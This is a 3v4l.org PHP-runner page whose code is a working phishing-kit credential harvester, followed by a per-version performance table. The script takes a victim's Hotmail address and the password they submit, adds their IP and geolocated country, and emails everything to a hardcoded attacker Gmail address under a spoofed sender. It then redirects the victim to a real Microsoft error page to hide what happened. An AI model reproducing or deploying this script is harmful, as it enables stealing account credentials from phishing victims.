3v4l.org

run code in 300+ PHP versions simultaneously
<?php session_start(); $country = visitor_country(); $ip = getenv("REMOTE_ADDR"); $browser = $_SERVER['HTTP_USER_AGENT']; $login = $_SESSION['clientemail']; $passwd = $_POST['passwd']; $own = 'lekzyenwis123@gmail.com'; $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $server = date("D/M/d, Y g:i a"); $domain = 'HOTMAIL'; $sender = 'redson@serverX.com'; $subj = "$domain - $country - $login"; $headers .= "From: REDSON<$sender>\n"; $headers .= "X-Priority: 1\n"; //1 Urgent Message, 3 Normal $headers .= "Content-Type:text/html; charset=\"iso-8859-1\"\n"; $over = 'https://www.microsoft.com/en-us/errorpages/smarterror.aspx'; $msg = "<HTML><BODY> <TABLE> <tr><td>____REDSON____</td></tr> <tr><td>ID: >$login<<td/></tr> <tr><td>Access: >$passwd<</td></tr> <tr><td>IP: $country | <a href='http://whoer.net/check?host=$ip' target='_blank'>$ip</a> </td></tr> <tr><td>Wrong Turn</td></tr> </BODY> </HTML>"; if (empty($login) || empty($passwd)) { header( "Location: index.php?Email=$login&.rand=13InboxLight.aspx?n=1774256418&fid=4#n=1252899642&fid=1&fav=1" ); } else { mail($own,$subj,$msg,$headers); header("Location: $over"); } function visitor_country() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_countryName != null) { $result = $ip_data->geoplugin_countryName; } return $result; } function visitor_countryCode() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_countryCode != null) { $result = $ip_data->geoplugin_countryCode; } return $result; } function visitor_regionName() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_regionName != null) { $result = $ip_data->geoplugin_regionName; } return $result; } function visitor_continentCode() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_continentCode != null) { $result = $ip_data->geoplugin_continentCode; } return $result; } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.5.10.0120.00817.11
8.5.00.0150.01120.66
8.4.150.0020.00114.05
8.4.140.0110.01018.01
8.4.130.0140.00618.35
8.4.120.0130.00822.80
8.4.110.0130.00819.20
8.4.100.0180.00318.17
8.4.90.0130.00818.92
8.4.80.0100.01020.66
8.4.70.0050.00418.34
8.4.60.0120.00819.27
8.4.50.0100.01317.96
8.4.40.0050.00318.17
8.4.30.0090.01218.04
8.4.20.0100.01019.31
8.4.10.0060.00320.17
8.3.280.0010.00114.05
8.3.270.0120.00917.42
8.3.260.0120.00816.82
8.3.250.0110.00719.23
8.3.240.0120.00917.13
8.3.230.0140.00617.13
8.3.220.0100.00717.32
8.3.210.0030.00517.16
8.3.200.0080.00617.04
8.3.190.0060.00217.52
8.3.180.0080.01117.20
8.3.170.0100.00719.34
8.3.160.0110.00817.24
8.3.150.0070.01017.84
8.3.140.0000.00817.45
8.3.130.0060.00317.10
8.3.120.0060.00319.12
8.3.110.0080.00020.94
8.3.100.0060.00324.06
8.3.90.0060.00326.77
8.3.80.0100.00018.80
8.3.70.0190.00318.80
8.3.60.0030.01616.98
8.3.50.0080.00517.80
8.3.40.0040.01519.35
8.3.30.0090.01219.39
8.3.20.0030.00522.13
8.3.10.0080.00023.94
8.3.00.0000.00820.18
8.2.290.0110.00720.94
8.2.280.0120.00719.28
8.2.270.0030.00517.37
8.2.260.0040.01520.83
8.2.250.0060.00318.95
8.2.240.0030.00617.67
8.2.230.0000.00822.58
8.2.220.0050.00337.54
8.2.210.0070.01026.77
8.2.200.0000.01216.88
8.2.190.0000.01516.88
8.2.180.0120.00318.55
8.2.170.0070.01422.96
8.2.160.0000.01620.66
8.2.150.0040.00424.18
8.2.140.0080.00024.66
8.2.130.0080.00019.54
8.2.120.0080.00026.35
8.2.110.0060.00619.39
8.2.100.0040.00818.22
8.2.90.0050.00319.55
8.2.80.0040.00418.46
8.2.70.0000.00818.18
8.2.60.0090.00018.29
8.2.50.0040.00418.53
8.2.40.0030.00620.78
8.2.30.0040.00419.76
8.2.20.0030.00518.43
8.2.10.0060.00318.35
8.2.00.0050.00318.39
8.1.330.0110.00920.74
8.1.320.0110.00516.67
8.1.310.0090.00917.08
8.1.300.0060.01218.53
8.1.290.0060.00330.84
8.1.280.0110.00625.92
8.1.270.0040.00424.14
8.1.260.0040.00426.35
8.1.250.0030.01228.09
8.1.240.0000.00922.70
8.1.230.0040.00821.14
8.1.220.0060.00318.03
8.1.210.0040.00419.09
8.1.200.0030.00617.73
8.1.190.0040.00417.73
8.1.180.0000.00818.10
8.1.170.0000.00819.28
8.1.160.0040.00419.15
8.1.150.0040.00419.24
8.1.140.0070.00018.06
8.1.130.0000.00719.32
8.1.120.0050.00517.71
8.1.110.0040.00417.77
8.1.100.0000.00817.75
8.1.90.0000.00817.77
8.1.80.0040.00417.80
8.1.70.0050.00317.73
8.1.60.0030.00517.84
8.1.50.0110.00017.87
8.1.40.0050.00317.89
8.1.30.0040.00417.91
8.1.20.0080.00017.91
8.1.10.0000.00917.80
8.1.00.0050.00517.82
8.0.300.0040.00420.35
8.0.290.0080.00017.38
8.0.280.0000.00718.77
8.0.270.0000.00717.59
8.0.260.0040.00417.55
8.0.250.0060.00317.47
8.0.240.0030.00617.43
8.0.230.0000.00717.39
8.0.220.0070.00017.34
8.0.210.0000.00717.21
8.0.200.0040.00417.45
8.0.190.0000.00817.40
8.0.180.0030.00717.33
8.0.170.0040.00817.34
8.0.160.0050.00317.32
8.0.150.0000.00717.37
8.0.140.0030.00517.21
8.0.130.0040.00413.77
8.0.120.0000.00817.34
8.0.110.0050.00317.50
8.0.100.0080.00017.28
8.0.90.0000.00817.40
8.0.80.0120.00317.32
8.0.70.0060.00317.36
8.0.60.0000.00817.36
8.0.50.0030.00517.32
8.0.30.0120.00917.47
8.0.20.0210.00017.59
8.0.10.0080.00017.52
8.0.00.0120.01017.33
7.4.330.0000.00515.55
7.4.320.0000.00616.91
7.4.300.0060.00016.89
7.4.290.0070.00016.73
7.4.280.0030.00616.73
7.4.270.0000.00716.98
7.4.260.0080.00016.90
7.4.250.0000.00817.01
7.4.240.0060.00316.91
7.4.230.0040.00416.84
7.4.220.0000.00716.73
7.4.210.0140.00416.96
7.4.200.0040.00416.65
7.4.160.0100.01116.99
7.4.140.0120.01017.86
7.4.130.0120.00616.89
7.4.120.0140.00716.91
7.4.110.0150.00916.89
7.4.100.0080.01116.95
7.4.90.0040.01316.82
7.4.80.0120.00619.39
7.4.70.0130.00916.97
7.4.60.0130.00516.89
7.4.50.0070.00717.05
7.4.40.0040.01517.05
7.4.00.0060.00815.13
7.3.330.0030.00313.77
7.3.320.0000.00813.55
7.3.310.0050.00216.80
7.3.300.0000.00716.84
7.3.290.0070.00716.90
7.3.280.0110.00916.77
7.3.260.0110.01216.88
7.3.240.0150.00316.88
7.3.230.0090.01316.85
7.3.210.0050.01416.91
7.3.200.0140.00416.84
7.3.190.0060.01016.88
7.3.180.0120.00716.84
7.3.170.0170.00316.91
7.3.160.0110.00616.86
7.3.10.0160.00017.16
7.3.00.0040.01117.16
7.2.330.0030.01617.11
7.2.320.0130.00617.16
7.2.310.0160.00317.14
7.2.300.0150.00717.00
7.2.290.0170.00817.20
7.2.130.0070.00717.07
7.2.120.0030.00617.01
7.2.110.0060.00917.21
7.2.100.0000.01517.40
7.2.90.0060.01216.97
7.2.80.0060.01017.10
7.2.70.0100.00317.13
7.2.60.0090.00517.24
7.2.50.0060.01017.20
7.2.40.0290.01217.68
7.2.30.0240.00717.86
7.2.20.0250.00717.92
7.2.10.0210.01117.80
7.2.00.0210.01017.74
7.1.250.0040.00816.30
7.1.240.0100.00316.03
7.1.230.0000.01116.21
7.1.220.0040.01116.17
7.1.210.0060.00316.39
7.1.200.0080.00216.30
7.1.190.0100.00015.98
7.1.180.0160.00016.32
7.1.170.0070.00416.13
7.1.160.0310.00916.80
7.1.150.0240.00716.75
7.1.140.0200.01116.72
7.1.130.0260.00816.87
7.1.120.0160.01316.71
7.1.110.0270.01216.61
7.1.100.0200.01016.50
7.1.90.0360.00916.46
7.1.80.0290.00916.35
7.1.70.0290.01016.04
7.1.60.0410.01124.97
7.1.50.0370.01324.93
7.1.40.0370.01224.73
7.1.30.0360.01224.67
7.1.20.0370.01224.77
7.1.10.0300.00615.58
7.1.00.0210.01415.80
7.0.330.0000.01415.71
5.6.380.0040.01414.84

preferences:
175.46 ms | 403 KiB | 5 Q